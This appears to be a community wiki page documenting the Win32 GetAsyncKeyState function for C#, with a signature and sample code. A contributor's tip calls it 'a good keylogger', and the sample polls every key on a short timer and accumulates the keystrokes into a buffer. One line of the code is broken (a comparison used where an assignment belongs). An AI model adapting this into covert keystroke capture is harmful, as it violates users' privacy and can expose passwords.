GetAsyncKeyState (user32)
Last changed: -31.215.156.67

.
Summary

C# Signature:

[DllImport("user32.dll")]
static extern short GetAsyncKeyState(int vKey);

User-Defined Types:

None.

Notes:

None.

Tips & Tricks:

this could be a good keylogger (=

Sample Code:

    // this is import of libraries
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState( System.Windows.Forms.Keys vKey); // Keys enumeration

    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(System.Int32 vKey);

       string keyBuffer == "";

     private void timer1_Tick(object sender, EventArgs e)
    {
         timer1.Interval = 3;
        foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
        {
        if (GetAsyncKeyState(i) == -32767)
        {
            keyBuffer += Enum.GetName(typeof(Keys), i) + " ";//this is WinAPI listener of the keys
        }
        }
        if (keyBuffer != "")
        {

// replacing of unreadable keys

        keyBuffer =     keyBuffer.Replace("Space", "_");
        keyBuffer = keyBuffer.Replace("Delete", "_Del_");
        keyBuffer = keyBuffer.Replace("LShiftKey", "_SHIFT_");
        keyBuffer = keyBuffer.Replace("ShiftKey", "");
        keyBuffer = keyBuffer.Replace("OemQuotes", "!");
        keyBuffer = keyBuffer.Replace("Oemcomma", "?");
        keyBuffer = keyBuffer.Replace("D8", "á");
        keyBuffer = keyBuffer.Replace("D2", "ě");
        keyBuffer = keyBuffer.Replace("D3", "š");
        keyBuffer = keyBuffer.Replace("D4", "č");
        keyBuffer = keyBuffer.Replace("D5", "ř");
        keyBuffer = keyBuffer.Replace("D6", "ž");
        keyBuffer = keyBuffer.Replace("D7", "ý");
        keyBuffer = keyBuffer.Replace("D9", "í");
        keyBuffer = keyBuffer.Replace("D0", "é");
        keyBuffer = keyBuffer.Replace("Back", "<==");
        keyBuffer = keyBuffer.Replace("LButton", "");
        keyBuffer = keyBuffer.Replace("RButton", "");
        keyBuffer = keyBuffer.Replace("NumPad", "");
        keyBuffer = keyBuffer.Replace("OemPeriod", ".");
        keyBuffer = keyBuffer.Replace("OemSemicolon", "ů");
        keyBuffer = keyBuffer.Replace("Oem4", "/");
        keyBuffer = keyBuffer.Replace("LControlKey", "");
        keyBuffer = keyBuffer.Replace("ControlKey", "_CTRL_");
        keyBuffer = keyBuffer.Replace("Enter", "");
        keyBuffer = keyBuffer.Replace("Shift", "____SHIFT___");

        keyBuffer = keyBuffer.ToLower();
        keyBuffer = keyBuffer.Replace(" ", "");
        textBox1.Text = keyBuffer;
        }


    }

Alternative Managed API:

Do you know one? Please contribute it!

Documentation